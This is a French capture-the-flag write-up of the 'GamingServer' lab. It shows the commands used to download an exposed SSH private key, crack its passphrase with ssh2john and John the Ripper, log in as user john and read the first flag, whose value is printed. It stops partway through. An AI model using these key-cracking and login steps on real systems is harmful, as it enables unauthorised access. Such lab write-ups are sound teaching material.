[CTF][EASY] - GamingServer

J'ai commencé par effectuer une analyse de la cible en utilisant les outils Nmap et Gobuster pour examiner le serveur web. La découverte d'une page au thème médiéval a attiré mon attention, et j'ai inspecté la source pour obtenir des indices.

```
</ul>
    </div>
  </div>
</body>
<!-- john, please add some actual content to the site! lorem ipsum is horrible to look at. -->
</html>
```

L'inspection a révélé la mention de l'utilisateur potentiel "john". Par la suite, l'outil Gobuster a identifié des répertoires tels que

```
/uploads (Status: 301)
/secret (Status: 301)
/server-status (Status: 403)
```

on va voir le /secret sans reflechir

```
Index of /secret
[ICO] Name  Last modified Size  Description
[PARENTDIR] Parent Directory    -
[ ] secretKey 2020-02-05 13:41  1.7K
Apache/2.4.29 (Ubuntu) Server at 10.10.58.254 Port 80
```

On clique sur le document “secretKey” et ça nous donne une clé privée RSA

On va la télécharger sur le bureau avec

```
=====================================
root@ip-10-10-102-197:~# wget http://10.10.58.254/secret/secretKey
--2023-10-20 15:08:51--  http://10.10.58.254/secret/secretKey
Connecting to 10.10.58.254:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1766 (1.7K)
Saving to: \u2018secretKey\u2019

secretKey                 100%[=====================================>]   1.72K  --.-KB/s    in 0s

2023-10-20 15:08:51 (144 MB/s) - \u2018secretKey\u2019 saved [1766/1766]
```

Une clé RSA privée est un composant essentiel de l'authentification SSH. Voici comment cela fonctionne et quel est le lien entre une clé RSA privée et SSH :

1. **Clés RSA** : Les clés RSA sont un type de clé cryptographique utilisé pour sécuriser les communications et l'authentification. Une paire de clés RSA se compose d'une clé privée et d'une clé publique. La clé privée est gardée secrète et n'est connue que par le propriétaire de la clé, tandis que la clé publique est partagée avec d'autres utilisateurs ou serveurs.
2. **Authentification SSH** : SSH (Secure Shell) est un protocole de communication sécurisé largement utilisé pour accéder à des serveurs distants, transférer des fichiers de manière sécurisée, et exécuter des commandes à distance. L'authentification SSH est la méthode par laquelle un utilisateur prouve son identité au serveur distant lors de la connexion.
3. **Clé privée SSH** : Lorsque vous souhaitez vous connecter à un serveur distant via SSH, vous avez deux options d'authentification : l'authentification par mot de passe et l'authentification par clé. L'authentification par clé est généralement plus sécurisée que l'authentification par mot de passe.
4. **Lien entre la clé RSA privée et SSH** : Lorsque vous choisissez l'authentification par clé SSH, vous générez une paire de clés RSA (clé privée et clé publique). La clé privée est stockée sur votre ordinateur ou périphérique local, et la clé publique est ajoutée au fichier `~/.ssh/authorized_keys` sur le serveur distant, associée à votre compte utilisateur.

   Lorsque vous vous connectez au serveur distant, SSH utilise votre clé privée pour générer une signature cryptographique. Cette signature est envoyée au serveur distant. Le serveur vérifie la signature à l'aide de votre clé publique stockée dans `authorized_keys`. Si la signature est valide, vous êtes authentifié et vous êtes autorisé à accéder au serveur. Votre clé privée reste sécurisée sur votre système local.

   Le lien entre la clé RSA privée et SSH est donc la méthode par laquelle SSH utilise cette clé privée pour prouver votre identité lors de la connexion à un serveur distant, ce qui renforce la sécurité et élimine la nécessité de saisir un mot de passe à chaque connexion. Cela rend

également plus difficile pour des tiers non autorisés d'accéder à votre compte utilisateur sur le serveur distant.

Peut-être qu'on peut utiliser cette clé RSA pour se connecter en ssh avec le nom d'utilisateur john:

```
ssh -i secretKey john@10.10.x.x
```

`-i secretKey`: L'option `-i` permet de spécifier le chemin de la clé privée que vous souhaitez utiliser pour l'authentification. Dans cet exemple, "secretKey" est le nom de la clé privée que vous souhaitez utiliser. La clé privée est utilisée pour prouver votre identité au serveur distant.

En utilisant cette commande, SSH essaiera de se connecter au serveur distant à l'adresse IP 10.10.218.145 en tant qu'utilisateur "john" en utilisant la clé privée "secretKey" pour l'authentification. Assurez-vous que la clé privée spécifiée avec l'option `-i` correspond à la clé publique enregistrée sur le serveur distant pour l'utilisateur "john". Si la correspondance est réussie, la connexion SSH sera établie, et vous pourrez interagir avec le serveur distant de manière sécurisée.

Malheureusement il faut un mdp, qui dit mdp ssh dit bruteforce

je trouve l'outil ssh2john sur git et apres je fais

```
python /usr/share/ssh2john.py secretKey > id_rsa.hash
```

En résumé, la commande `python /usr/share/ssh2john.py secretKey > id_rsa.hash` est utilisée pour exécuter le script `ssh2john.py` sur la clé privée SSH "secretKey" et enregistrer le résultat (le hachage) dans un fichier nommé "id_rsa.hash".

On peut maintenant essayer de bruteforce le mdp ssh

```
  john --wordlist=/usr/share/wordlist/rockyou id_rsa.hash
```

Cette commande est dans le but de tenter de casser le mot de passe de la clé privée SSH à partir du fichier de hachage "id_rsa.hash" en utilisant une liste de mots ("rockyou.txt")

ce qui nous donne

```
root@ip-10-10-102-197:~#john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
Note: This format may emit false positives, so it will keep trying even after finding a
possible candidate.
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein          (secretKey)
1g 0:00:00:18 DONE (2023-10-20 15:55) 0.05485g/s 786708p/s 786708c/s 786708C/s *7¡Vamos!
Session completed.
```

letmein serait le mdp ssh de john? j'essaye

```
ssh -i secretKey john@10.10.58.254
```

pas oublier la clé de hash

avec le mdp letmein on obtient le shell

```
john@exploitable:~$
```

donc petit ls on trouve

```
john@exploitable:~$ ls
user.txt
john@exploitable:~$ cat user.txt
a5c2ff8b9c2e3d4fe9d4ff2f1a5a6e7e
```

Cool on a le premier flag

To Be Continued…